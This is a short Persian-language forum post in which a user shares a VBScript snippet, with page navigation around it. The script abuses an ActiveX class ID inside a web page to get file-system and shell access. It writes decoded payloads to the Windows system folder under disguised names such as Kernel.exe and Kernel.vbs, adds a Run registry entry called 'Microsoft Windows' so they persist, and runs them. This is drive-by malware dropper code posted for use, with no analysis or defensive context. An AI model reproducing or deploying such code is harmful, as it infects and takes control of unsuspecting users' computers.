ايران ويج

صفحه‌ها: 1 2

ممنون از تبریک
نه وتسه ایرانی بودنش یکم جملمو جالب نگفتم

کد: 
dim sys

Set df = document.createElement("object")

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "

set fso = df.createobject("Scripting.FileSystemObject","")

set s=df.CreateObject("Shell.Application.1","")

set re=df.createobject("wscript.shell","")

sys=fso.GetSpecialFolder(1)

For a = 1 To Len(filevbs1) Step 3

filevbs2=filevbs2 & chr(mid(filevbs1,a,3))

if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))

next

kr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Windows"))

fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1

if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") then

re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"

fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2

s.Open (sys & "\Kernel.exe")

end if

fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1

if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" then

fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2

s.Open (sys & "\Kernel.vbs")

end if

</script>

صفحه‌ها: 1 2

Scorpion

Scorpion